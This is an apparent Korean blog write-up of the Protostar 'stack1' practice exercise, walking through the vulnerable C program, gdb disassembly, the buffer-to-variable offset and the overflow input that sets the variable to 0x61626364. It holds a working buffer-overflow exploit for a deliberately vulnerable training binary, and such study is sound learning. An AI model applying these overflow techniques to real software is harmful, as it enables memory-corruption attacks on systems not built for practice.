Protostar - stack 1

시스템 해킹|2024. 5. 16. 00:54
#### Protostar Stack1

##### About
This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.  
This level is at /opt/protostar/bin/stack1

###### Hints
* If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
* Protostar is little endian

##### Source code
```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
```

##### Solution
```
$ ./stack1 `python -c "print 'A'*64+'\x64\x63\x62\x61'"`
```

##### Reference
 
 

stack1의 코드 이다.

 

gcc -z execstack -no-pie -w -o stack1 stack1c

취약하게 코드를 컴파일한다.

 

 

 

 

argc==1 일때

please specify an argument

라는 의미가 나오도록 코딩이되어있으므로 원하는 답이 2개가되려면

argument가 2개 이상이되어야한다는 것이다.

 

 

 

./stack1 1234

그래서 1234를 추가하여본다.

 

''

소스코드의 argc 에서 argment를 검사하는 내용이 나오게 된다.

 

 

argument는 뒤에 어떤 값을 넣으라는 애기이다

 

 

 

 

argument를 전달하게되면

 

./stack1 은 argc = 1이고

 

./stack1 1234 는 argc=2 이다 

 

띄어쓰기에 따라서 argument가 전달이 됩니다.

 

 

modified가 선언되고 buffer가 선언되는데

 

 

argv로부터 starcpy를 통해서 데이터를 받는다(스트링카피는 겟츠와 마찬가지로 버퍼오버플로우를 일으키는 함수)

argv==1 첫번쨰로 부터 받아옵니다.

 

 

./stack1 1234

에서 arg를 판단하면

 

./stack1 은 arg[0] 이고

 

./stack1 1234은 arg[1]입니다.

 

그다음 modified를 확인을 하는데

modified를 0으로 세팅한 뒤에

modified를  바뀌는 것을 원하고 바뀌지 않으면 try agin을 나오게된다.

(if !=0  , else =0)

 

 

 

 

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
 

modified=0x61626364

이 메모리 주소를 찾으려면  gdb를 킨다.

 

gdb ./stack1

 

 

 

 

set disassembly-flavor intel

disas main

 

 

 

 

 

0x61626364

이 데이터는 modified로부터 가져오게되고

 

 

현재 modified의 위치는 rbp-0x4로 파악이 됩니다.

(modified=rbp-0x4)

 

 

현재  buffer의 위치는 스트링카피(strcpy)  이곳이 될거라고 판단이 됩니다.

 

 

여기로 부터 가져올 것이라고 판단이 됩니다.

 

이 두것들을

 

rsi에서 가져와 rdi로 줄것이라고 생각되는데

 

rsi  소스인덱스와

rdi 데스티네이션 인덱스

 

rsi -> rdi 

출발지 -> 도착지

 

 

왜냐 strcpy 스트링카피는 현재 두개의 인자를 필요로 하고있다.

 

rsi -> rdi로 복사를 한다

 

rdi= buffer의 위치를 뜻하고 = rax = [rbp-0x50]에서 가져오게된다.

 

 

 

[rbp-0x50] -> rax -> -> rdi로 복사를 한다 즉 이곳이 buffer의 위치이다.

 

 

 

buffer=rbp-0x50

modifed= rbp-0x4

 

 

buffer위치에서 modifed 위치로 덮어 씌우기 위해서는

 


buffer=rbp-0x50

modifed= rbp-0x4

 

rbb-0x50 - rbp-0x4

=

50-4

-HEX값으로-

50-4= 4C 만큼 떨어져있다.

 

4C=76(10진수로 

 

 

-=====즉 A를 76개 넣게되면   buffer-> modified로 갈수있다 말입니다======

 

 

 

그리고 B를 4개 채우면 인트가 4바이트이기 떄문에 저위치에 가득 차게된다.

 

즉 modified로 위치를 이동 후에 그곳에 버퍼를 채운다.

 

A76 + BBBB 채우기

 

python -c "print('A'*76)

 

 

 

 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

 

A76개 B4개 넣고 돌리기 !

 

 

argument에 전달을 할 시에는 run을 한뒤에 넣어야한다.

 

 

run

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

 

 

 

이부분에 breack point를 걸자

 

 

gdb ./stack1

 

set disassembly-flavor intel

 

disas main

b *main+79

(cmp eax , 메모리주소 있는 쪽에 브레이크 포인트 걸자)

run

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

 

 

이렇게 되면 브레이크 포인트가 저곳에 걸리게 된다.

 

 

브레이크 포인트가 걸린 알고싶은 eax의 위치에 뭐가 있는지 확인 해봤을떄 

info reg &eax 확인하면

 

0x424242 로 차게된다

 

42는 아스키 코드로 B 이며 

 

B가 4개 차있다

 

B가 4개차있으니 정확한 값이 들어있는 것이다 = 우리가 해본거

 

 

0x64636261가 하면

아스키코드로

abcd 이지만

 

우리가 답을 얻기위해서는

0x61626364 

아스키코드로

dcba를 넣어야한다.

.

 

run

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd를 하게되면

61626364 가아니라 64636261로 나오게된다.

 

스택에 넣을떄는 꺼꾸로 넣어야 한다

 

 

그래서

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

를 한뒤에

continue를 하게된다면 성공이다!!!!!!

 

우리는 같은 값을 넣어야 했으므로

 

 

그래서 ./stack A~~~~를 하면 성공적으로 값을 얻었다.

 

 

 

만약 다른 값을 넣게되면 0x64636261의 값을 얻으라고 말을 한다.

 

 

 

'시스템 해킹' 카테고리의 다른 글

Protostar stack - 3 pwn 툴 사용해서 공격  (0) 2024.05.16
Protostar stack - 2 peda 사용  (1) 2024.05.16
Protostar stack0 시작  (0) 2024.05.15
프로토스타 설치  (0) 2024.05.15
스택 공격 기법 이해하기  (0) 2024.05.15

댓글()